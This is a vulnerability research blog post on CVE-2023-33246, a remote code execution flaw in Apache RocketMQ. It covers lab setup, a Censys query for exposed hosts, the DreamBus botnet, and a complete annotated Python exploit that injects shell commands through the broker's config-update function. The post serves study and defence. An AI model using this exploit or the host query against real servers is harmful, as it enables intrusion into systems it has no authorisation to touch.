RocketMQ RCE (CVE-2023–33246)

vsociety
8 min readApr 27, 2024

by@jakaba

Screenshots from the blog posts

Summary

A critical remote code execution (RCE) vulnerability, CVE-2023-33246, was identified in Apache RocketMQ versions 5.1.0 and below. This vulnerability allows attackers to execute arbitrary commands as the system user running the application, posing a significant risk to affected systems. The exploit has been actively leveraged by threat actors, leading to the deployment of the DreamBus botnet.

Description

Introduction

Apache RocketMQ, one of the most popular and widely used distributed messaging and streaming platforms, exposes several components, including NameServer, Broker, and Controller, on the extranet without proper permission verification. The root cause of the vulnerability lies in the lack of permission checks, allowing attackers to exploit the "update configuration" function to execute commands within the context of the user running the application.

The gravity of this vulnerability becomes pronounced as it not only compromises the integrity of the affected RocketMQ instances but has also become a focal point for real-world exploitation, notably through the deployment of the DreamBus botnet.

Apache RocketMQ versions from 5.0.0 prior to 5.1.1 are affected by this vulnerability. Versions prior to 4.9.5 are also affected.

It has been assigned a CVSS3.1 score of 9.8 making it highly exploitable.

This article delves into the intricate details of CVE-2023-33246, offering a comprehensive analysis of the vulnerability, its potential impact, and actionable mitigation strategies. As we navigate through the technical intricacies, it is crucial to recognize the broader implications of such vulnerabilities in the ever-evolving realm of cybersecurity. This exploration aims to empower users, administrators, and security professionals with the knowledge required to safeguard their RocketMQ deployments against the exploits orchestrated by malicious actors in the digital landscape.

Apache RocketMQ

Apache RocketMQ is an open-source distributed messaging and streaming platform designed for high-performance, reliable, scalable messaging and event streaming. Developed by the Apache Software Foundation, RocketMQ is written in Java and boasts features that make it suitable for various use cases, including real-time data processing, event-driven architecture, and message-oriented middleware.

In the intricate landscape of distributed messaging and streaming platforms, Apache RocketMQ stands as a prominent player, celebrated for its low latency, exceptional performance, huge capacity, and flexible scalability.

Organizations often leverage Apache RocketMQ for building distributed and decoupled systems, facilitating communication between various components in a scalable and reliable manner. Its versatility makes it applicable in diverse domains, including e-commerce, finance, telecommunications, and more.

Key components in RocketMQ

In Apache RocketMQ, the terms Producers, Consumers, Brokers, and NameServer refer to key components of the messaging system.

In summary, Producers generate and send messages, Consumers subscribe to and process those messages, Brokers store and manage messages facilitating communication, and the NameServer serves as a centralized component managing metadata and aiding in dynamic discovery within the Apache RocketMQ distributed messaging system. Each component plays a crucial role in ensuring the system's efficiency, scalability, and reliability. Here's an overview of each:

  1. Producers:
  • Function: Producers are entities responsible for generating and sending messages to the RocketMQ system.
  • Role: They play a crucial role in initiating communication by creating and dispatching messages to specific topics within the messaging system.
  1. Consumers:
  • Function: Consumers are entities that subscribe to and consume messages from specified topics within the RocketMQ system.
  • Role: They play a vital role in processing and acting upon the messages generated by Producers. Consumers can be part of a consumer group, allowing for parallel message processing.
  1. Brokers:
  • Function: Brokers serve as intermediate components within the RocketMQ system, responsible for storing, managing, and delivering messages between Producers and Consumers.
  • Role: They maintain information about topics and queues, handle message persistence, and facilitate communication between Producers and Consumers. Multiple Brokers can form a cluster to enhance system scalability and fault tolerance.
  1. NameServer:
  • Function: The NameServer acts as a centralized service within the RocketMQ infrastructure, maintaining metadata information about the distributed system.
  • Role: It serves as a service registry, aiding Producers and Consumers in discovering each other within a distributed environment. Producers and Consumers connect to the NameServer to obtain information about the available Brokers, facilitating dynamic scaling and efficient communication.

Vulnerable systems in the wild

Sidenote: by default, the Broker gets initiated on TCP port 10911 and 10909. It's worth to highlight that both Shodan and Censys do not specifically identify this protocol. Shodan, in particular, poorly indexes these ports, making it challenging to accurately assess the extent of vulnerable systems in the wild.

Luckily, we can leverage Censys to gain valuable insights. By querying hosts that reveal 9876 that is the default RocketMQ nameserver port and one of the default broker ports, it shows nearly 4900 systems that could be potentially affected. You can use this query string:

services.port=9876 and (services.port=10909 or services.port=10911)

The Dreambus botnet

On June 19th, a series of attacks involving a troublesome script named "reketed" were observed. This script, however, isn't just about causing mischief on its own; it's a gateway to a more significant threat known as DreamBus, a modular bot that adds a layer of complexity to cyber threats.

Juniper took a closer look at "reketed" that seems to employ tricky techniques, such as using random names for functions and variables, making it a challenge for investigators to decode. Once it infiltrates a system, it swiftly downloads the DreamBus main module, an ELF binary file that serves as the backbone of the entire threat. DreamBus, packed with UPX and featuring modified headers and footers, stands out for its elusive nature. Its primary task is to install a Monero cryptocurrency miner when executed. However, what sets it apart is its modular design, giving it the potential to execute various other types of attacks, making it a versatile tool for cybercriminals. To make matters more complicated for investigators, the "reketed" script ensures that the ELF binary is executed and promptly deleted, leaving behind minimal traces. This clever evasion tactic showcases the adaptability and sophistication of the DreamBus malware.

Beyond the initial breach, DreamBus exhibits lateral movement capabilities, allowing it to spread within compromised environments. This ability amplifies the threat, underscoring the importance for organizations to defend against the initial intrusion and be prepared to counteract lateral movements to prevent further damage.

In conclusion, as DreamBus threat actors resurface, their primary objective remains the installation of a Monero cryptocurrency miner. However, the modular nature of DreamBus introduces a concerning potential for diverse attack vectors. To safeguard against such threats, it is crucial for organizations to implement robust patch management processes, ensuring systems are updated and protected against an evolving set of malicious threats. Stay vigilant, stay secure online.

Reproducing the vulnerability

Lab Setup

I worked on Kali Linux but since it's a Java project, you can use any other OS or distribution.

We use Java 8 this time.

Running RocketMQ

The easiest way is to download the binary, unpack it locally, and run both the NameServer and the Broker:

# Download release from the Apache mirror
wget https://archive.apache.org/dist/rocketmq/4.9.5/rocketmq-all-4.9.5-bin-release.zip

# Unpack it
unzip rocketmq-all-4.9.5-bin-release.zip

# Prepare a terminal and change to the extracted directory:
cd rocketmq-all-4.9.5-bin-release

Then, run it:

# Start NameServer
nohup sh bin/mqnamesrv &

# Start Broker
nohup sh bin/mqbroker -n localhost:9876 &

You can check whether the NameServer is successfully started with tail -f ~/logs/rocketmqlogs/namesrv.log

Sidenote: by default, the Broker gets initiated on TCP port 10911 and 10909.

Also check the Broker with tail -f ~/logs/rocketmqlogs/broker.log:

Using the default config, Broker cluster gets initiated on TCP port 9876 to start receiving messages from a client.

Alternatively, you can also establish the vulnerable Docker environment with these commands:

# 1. Start NameServer
docker run -it --net=host apache/rocketmq ./mqnamesrv

# 2. Start Broker
docker run -it --net=host --mount source=/tmp/store,target=/home/rocketmq/store apache/rocketmq ./mqbroker -n localhost:9876

You can install Docker based on this tutorial if needed.

To download the Maven dependencies required for running RocketMQ, you can use the following command:mvn clean install -Dmaven.test.skip=true

Check the vulnerability

Before moving forward with the exploitation, we can also verify our setup with a simple checker script:

git clone https://github.com/0xKayala/CVE-2023-33246.git
cd CVE-2023-33246
python3 check.py --ip 127.0.0.1 --port 9876

You should see something similar:

127.0.0.1:9876 Vulnerable to CVE-2023-33246 RocketMQ RCE, version: V4.9.5, brokers: 192.168.150.15:10911

A word about the conditions

The RocketMQ broker was never intended to be exposed to the internet, and its inherently insecure design includes a range of administrative functions. Modifying the broker configuration is just one of these functions. Another, which may be beneficial for defenders, allows the downloading of the broker configuration without any authentication.

It is also worth mentioning that a heightened risk associated with this attack is exacerbated by the public accessibility of multiple components, including NameServer, Controller, and Broker, through the extranet.

Remote code execution

Examining public exploits like this reveals that some attackers are employing a technique of hurling hexadecimal blobs at victims in their attempts.

First, let's get the exploit code.

git clone https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT
cd CVE-2023-33246_RocketMQ_RCE_EXPLOIT

Our payload will be "touch /tmp/proof" that does not exist before running the exploit as you can see below.

The command to run the script is:

python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 touch /tmp/proof

There we have our proof file. Nice. The operation is also logged:

The exploit code

I modified the original exploit's code a little bit to make it more obvious what's happening. See the comments:

import socket
import sys

# Function to send data over a socket connection
def send_data(ip, port, payload):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
# Connect to the server at the specified IP and port
s.connect((ip, port))

# Send the payload
s.sendall(payload)

# Receive and store the response (currently not used in the code)
resp = s.recv(1024)


if __name__ == '__main__':
# Check if the required command-line arguments are provided
if len(sys.argv) < 4:
print('Usage: python3 exploit.py <ip> <port> <command>')
sys.exit(1)

# Extract command-line arguments
ip = sys.argv[1]
port = int(sys.argv[2])
command = ' '.join(sys.argv[3:]).strip()

# Craft the JSON payload string
json_payload_string = '`{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1\nrocketmqHome=-c $@|sh . echo '

# Hexadecimal representations for payload components
payload_prefix_hex = '000000cd000000'
payload_postfix_hex = '3b0a'

# Construct the payload by encoding the JSON payload string and appending the command
payload = bytes.fromhex(payload_prefix_hex) + \
json_payload_string.encode() + \
command.encode() + \
bytes.fromhex(payload_postfix_hex)

# Calculate the payload length in hexadecimal and update the payload accordingly
hex_payload_length = hex(len(payload) - 4)[2:]
payload = payload.hex().replace('000000cd000000','000000' + hex_payload_length + '000000')
payload = bytes.fromhex(payload)

# Call the send_data function to execute the payload
send_data(ip, port, payload)

Exploitation with a new Metasploit module is also possible: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/apache_rocketmq_update_config.rb

Shutting down the servers

After finishing the practice, we could shut down the service by following commands.

sh bin/mqshutdown broker
The mqbroker(36695) is running...
Send shutdown request to mqbroker(36695) OK

sh bin/mqshutdown namesrv
The mqnamesrv(36664) is running...
Send shutdown request to mqnamesrv(36664) OK

Code analysis

In this section, we attempt to do a static and dynamic code analysis.

Preparing the debug environment

We use Java 8 this time. You can check your Java version with "java -version":

You will also need Maven. Check your maven is installed with "mvn -v".

Then, open an IntelliJ Idea CE instance (you can get one here).

Then, clone a vulnerable RocketMQ version. In our lab, we used Apache RocketMQ version 4.9.5.

git clone -b release-4.9.5 https://github.com/apache/rocketmq.git
cd rocketmq

Open this folder in IntelliJ Idea.

From this point, we follow the official guide with some necessary modifications.

1. Disable Use '--release' option for cross-compilation in Java Compiler settings.

2. Open client/pom.xml and set the source and target JDK version from 1.6 to 1.8. (I consider this issue as a misconfiguration in RocketMQ 4.9.5 since it causes running error with the default version 1.6.)

3. Download dependencies

To download the Maven dependencies required for running RocketMQ, run the following command from the project directory: mvn clean install -Dmaven.test.skip=true. You should see the "BUILD SUCCESS" message when finished. Ensure that the compilation was successful!

4. Set up a breakpoint

Open org.apache.rocketmq.broker.filtersrv.FilterServerUtil.java and set up a breakpoint on line 27 to see what will be inside the cmdArray when running the exploit. You can set up a breakpoint by clicking on the line number with the left mouse button.

5. Add config files from the original repo. You will have to create a new "conf" directory and put the following three files there:

--

--

vsociety

vsociety is a community centered around vulnerability research